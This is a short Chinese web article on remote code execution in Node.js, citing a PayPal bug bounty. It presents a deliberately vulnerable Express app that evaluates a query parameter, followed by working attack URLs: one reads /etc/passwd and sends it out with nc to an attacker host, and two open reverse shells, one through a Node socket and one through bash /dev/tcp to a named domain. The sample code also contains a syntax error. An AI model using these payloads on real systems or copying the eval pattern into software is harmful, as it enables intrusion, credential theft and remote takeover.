NodeJS遠(yuǎn)程代碼執(zhí)行
更新時(shí)間：2016年08月28日 15:30:03 投稿：hebedich
這篇文章主要介紹了NodeJS遠(yuǎn)程代碼執(zhí)行方法的相關(guān)資料,需要的朋友可以參考下
背景
@Artsploit在挖PayPal的漏洞時(shí)，發(fā)現(xiàn)一處NodeJS代碼執(zhí)行，獎(jiǎng)勵(lì)$10000美金。
測(cè)試
var express = require('express');
var app = express();
app.get('/', function (req, res) {
res.send('Hello eval(req.query.q));
console.log(req.query.q);
});
app.listen(8080, function () {
console.log('Example listening on port 8080!');
});
任意文件讀取
http://host:8080/?q=require('child_process').exec('cat+/etc/passwd+|+nc+attackerip+80')
GET SHELL
http://host:8080/?q=var+net+=+require("net"),+sh+=+require("child_process").exec("/bin/bash");var+client+=+new+net.Socket();client.connect(80,+"attackerip",+function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});
GET SHELL2
http://host:8080/?q=require("child_process").exec('bash -c "bash -i >%26 /dev/tcp/wufeifei.com/7890 0>%261"')
您可能感興趣的文章:
- nodejs連接mongodb數(shù)據(jù)庫實(shí)現(xiàn)增刪改查
- Nodejs 搭建簡單的Web服務(wù)器詳解及實(shí)例
- window通過vbs+bat實(shí)現(xiàn)自動(dòng)在后臺(tái)運(yùn)行nodejs application
- NodeJS和BootStrap分頁效果的實(shí)現(xiàn)代碼
- nodejs簡單實(shí)現(xiàn)操作arduino
- NodeJs讀取JSON文件格式化時(shí)的注意事項(xiàng)
- nodejs微信公眾號(hào)支付開發(fā)
- Nodejs抓取html頁面內(nèi)容（推薦）
- nodejs如何獲取時(shí)間戳與時(shí)間差
- Nodejs全局安裝和本地安裝的不同之處
- nodejs實(shí)例解析（輸出hello world）
相關(guān)文章
Node.js通過身份證號(hào)驗(yàn)證年齡、出生日期與性別方法示例
最近工作中需要對(duì)身份證號(hào)的年齡、出生日期與性別進(jìn)行驗(yàn)證，所以這篇文章主要介紹了Node.js通過身份證號(hào)驗(yàn)證年齡、出生日期與性別的方法，在介紹完node.js的實(shí)現(xiàn)方法后又給大家分類的利用JS實(shí)現(xiàn)的方法，需要的朋友可以參考下。2017-03-03
本文主要介紹了Node.js使用WebAssembly，文中通過示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2023-05-05
詳解利用nodejs對(duì)本地json文件進(jìn)行增刪改查
這篇文章主要介紹了詳解利用nodejs對(duì)本地json文件進(jìn)行增刪改查，文中通過示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2019-09-09
這篇文章主要介紹了nodejs npm包管理的配置方法及常用命令介紹,需要的朋友可以參考下2014-06-06
開啟網(wǎng)站的 gzip 壓縮功能，通?？梢愿哌_(dá)70%，也就是說，如果你的網(wǎng)頁有30K，壓縮之后就變成9K， 對(duì)于大部分網(wǎng)站，顯然可以明顯提高瀏覽速度（注：需要瀏覽器支持）。2017-08-08
這篇文章主要介紹了nodejs基礎(chǔ)之常用工具模塊util用法,結(jié)合實(shí)例形式分析了nodejs核心工具模塊util功能、相關(guān)函數(shù)與使用方法,需要的朋友可以參考下2018-12-12
node.js版本降級(jí)/升級(jí)的實(shí)現(xiàn)
在項(xiàng)目開發(fā)過程中,不同項(xiàng)目使用的nodejs版本不同,有時(shí)會(huì)因?yàn)閚ode版本過高或太低,導(dǎo)致報(bào)錯(cuò),本文主要介紹了node.js版本降級(jí)/升級(jí)的實(shí)現(xiàn),具有一定的參考價(jià)值,感興趣的可以了解一下2024-05-05
基于node.js的fs核心模塊讀寫文件操作(實(shí)例講解)
下面小編就為大家?guī)硪黄趎ode.js的fs核心模塊讀寫文件操作(實(shí)例講解)。小編覺得挺不錯(cuò)的，現(xiàn)在就想給大家，也給大家做個(gè)參考。一起跟隨小編過來看看吧2017-09-09
這篇文章主要介紹了node中實(shí)現(xiàn)刪除目錄的幾種方法，文中通過示例代碼介紹的非常詳細(xì)，對(duì)大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價(jià)值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2019-06-06
nodejs發(fā)布靜態(tài)https服務(wù)器步驟指南
這篇文章主要為大家介紹了nodejs發(fā)布靜態(tài)https服務(wù)器的步驟指南，有需要的朋友可以借鑒參考下，希望能夠有所幫助，祝大家多多進(jìn)步，早日升職加薪2024-02-02